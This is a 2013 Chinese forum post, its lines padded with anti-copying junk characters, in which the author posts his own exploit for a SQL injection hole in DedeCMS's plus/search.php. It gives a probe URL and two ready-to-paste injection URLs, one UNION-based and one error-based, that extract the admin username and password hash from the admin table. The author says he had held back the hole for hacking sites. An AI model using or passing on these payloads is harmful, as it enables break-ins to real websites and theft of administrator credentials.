转载不加作者名的没JJ
N) G- P8 E1 R% E2 c% I, Z4 z' W! e9 ^+ ^: m
哎。没意识，我一个月前就发现了这个漏洞，一直也没去黑站 放那 现在狗卵的什么 知道创宇 发出来了。郁闷。。可惜了我的洞辛苦看了2天的dedecms漏洞就这样没了。
! Y& n* P2 e. U2 C% `& G: h3 S& i# I/ k: @. j& t
既然已经发出来了，我就把我自己搞的exp发下吧。。唉。# F* A- v% y" W% r
" C& [! }) |/ Y4 R3 @
我一般是这样测试的：
2 R# B1 A! g6 b/ X6 o H% g8 l
$ w% X: G7 _! z7 ^, L+ S) P4 b提交 xx.com/plus/search.php?keyword=as&typeArr[ uNion ]=a
: K8 j5 d5 ]$ p2 q
& g5 q5 N! S* x& L7 W转载不加作者名的没JJ
# s& I q0 ]) o: t# M/ l' v
2 `$ A' C- k% ~3 l" a作者：鬼哥( a1 {+ a7 u' B$ F/ m% U- H* S
2 E% z" h# I: \5 U0 c. N/ P; w
9 o$ H( y9 C: m
7 C; S. y2 f7 v! y1 e6 I4 s* c8 f+ ]+ [看结果如果提示! s+ U% z9 R+ C8 a+ [
# k/ W9 {) r/ z% p7 \( |& a
Safe Alert: Request Error step 2 !6 j9 }6 t& O; T" o" O4 Z: c, [
, ?! T* ^1 z- C& q8 H( G那么直接用下面的exp
# ]) B$ ?4 T0 m& x$ t9 x5 L3 B9 Y2 K" Z7 O2 A
xx.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a4 |5 F/ {. m3 O% x u, I$ B
0 ?9 B2 U! n. J1 e
4 C1 g+ J0 B: ]. y# Z1 [7 d. c3 U: L看结果如果提示+ x7 {, j: Z& S6 R( z' `! o
- e l/ F$ F4 S2 q8 i' y. [, I1 I; ^Safe Alert: Request Error step 1 !
7 ?8 [1 X5 P& ~; l! O7 |
5 N' ^7 p3 ^8 ]4 ~那么直接用下面的exp
; o8 \8 X+ P' Z0 e1 Q6 W
& ]8 j* p2 M! V. ~$ T/ I' qxx.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a4 t, a3 c3 Z' O: _/ Z
2 F: Z) k+ ?$ u! c& R" |* @& R; E7 ]
4 t& P0 m! j& z
如果正常显示证明漏洞不存在了。
; F/ a1 p/ H2 S( y f) z5 g
# f. } b) _2 J. d! [转载不加作者名的没JJ |
发表于 2013-1-21 08:45:22
收藏
支持
反对